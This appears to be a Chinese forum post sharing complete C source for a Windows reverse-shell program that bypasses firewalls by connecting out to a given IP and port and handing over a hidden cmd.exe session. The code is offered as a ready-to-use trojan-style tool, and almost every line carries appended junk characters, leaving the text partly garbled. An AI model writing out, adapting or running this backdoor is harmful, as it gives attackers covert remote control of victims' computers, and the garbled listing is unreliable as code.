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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6(ER$  
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/* ============================== :0bjPQj  
Rebound port in Windows NT g*w}m>O  
By wind,2006/7 :dxKcg7  
===============================*/ 8;,|z%rS"  
#include D/,(xWaT  
#include cu)B!#<!&  
us.IdG  
#pragma comment(lib,"wsock32.lib") :X}Ie P  
bwJluJ, E  
void OutputShell(); k$kxw_N5d  
SOCKET sClient; 5Z=GFKf|  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Il#ST  
Deq@T {  
void main(int argc,char **argv) XdnpL$0  
{ TJZ arNc$  
WSADATA stWsaData; G 6xN R  
int nRet; dh%DALZ8t  
SOCKADDR_IN stSaiClient,stSaiServer; V`1x![\  
6l2Os $  
if(argc != 3) u}rJqZ  
{ NH*"AE;  
printf("Useage:\n\rRebound DestIP DestPort\n"); 7Rc>LI* '  
return; 6:Y2z!MLO  
} D'^UZZlI^I  
#Kx @:I  
WSAStartup(MAKEWORD(2,2),&stWsaData); Tz0XBH_  
su\`E&0V+  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); en6;I[\  
:Smyk.B2!  
stSaiClient.sin_family = AF_INET; Q9;VSF)  
stSaiClient.sin_port = htons(0); *Y!RU{w+Z  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); b~<:k\EE  
f>&*%[fw  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) *<}R=X.  
{ 46B'Ec  
printf("Bind Socket Failed!\n"); Q:'r p  
return; BH}M]<5  
} tGSX TF}G  
*_H]?&  
stSaiServer.sin_family = AF_INET; <$C3] =2  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); VA %lJ!$  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); p Ohjq#}  
^/xb-tuV  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @xk;]H80  
{ t[AA=  
printf("Connect Error!"); .z*}%,G  
return; 0WyOORuK  
} H.o3d/8:  
OutputShell(); Ag&K@%|*  
} /_yAd,^-+  
h<n2pz}  
void OutputShell() kUr/*an  
{ R38 \&F  
char szBuff[1024]; Yjl:i*u/  
SECURITY_ATTRIBUTES stSecurityAttributes; 8A u W>7_  
OSVERSIONINFO stOsversionInfo; |;I"Oc.w^R  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (`R heEg@f  
STARTUPINFO stStartupInfo; &!FI!T -WH  
char *szShell; }FX:sa?5  
PROCESS_INFORMATION stProcessInformation; fUOQ(BGp  
unsigned long lBytesRead; HYZp= *eb  
 lsgZ  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); z f >(Y7M  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (UTA3Db  
stSecurityAttributes.lpSecurityDescriptor = 0; [<>%I#7ulG  
stSecurityAttributes.bInheritHandle = TRUE;  @l&{ j  
#vAqqAS`,  
gJg+ ]-h/  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); M'T[L%AP  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 5v sn'=yN  
AKS. XW  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |:SIyXGbY  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^S)t;t@x  
stStartupInfo.wShowWindow = SW_HIDE; mcs!A/]<  
stStartupInfo.hStdInput = hReadPipe; m\_v{1g  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ' t^ r2N/  
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GetVersionEx(&stOsversionInfo); =Ew77  
<oSx'_dc  
switch(stOsversionInfo.dwPlatformId) Jyp7+M]  
{ p[;@9!t  
case 1: Z!4B=?(  
szShell = "command.com"; J~h9i=4<bF  
break; O5:[]vIn  
default: A+z}z@K  
szShell = "cmd.exe"; O:8Ne*L`D  
break; =NWzsRl,  
} G-#rWZ&  
):n'B` f}z  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Dv4 H^  
-a'D~EGB^  
send(sClient,szMsg,77,0); c(!pcB8  
while(1) 6QNZ/Ox:  
{ _T;Kn'Gz(&  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .k%/JF91n  
if(lBytesRead) 98vn"=3  
{ o)'06FF\$  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); D4?cnwU  
send(sClient,szBuff,lBytesRead,0); @ *5+ZAF  
} v"<M ~9T)  
else &G?w*w_n  
{ ~ cI`$kJ  
lBytesRead=recv(sClient,szBuff,1024,0); OU*skc>  
if(lBytesRead<=0) break; mILCC} Kt  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); E/gfX   
} o?I`n*u"X  
} 8:Dkf v  
V}FH5z |  
return; 4{0vdpo3F  
}
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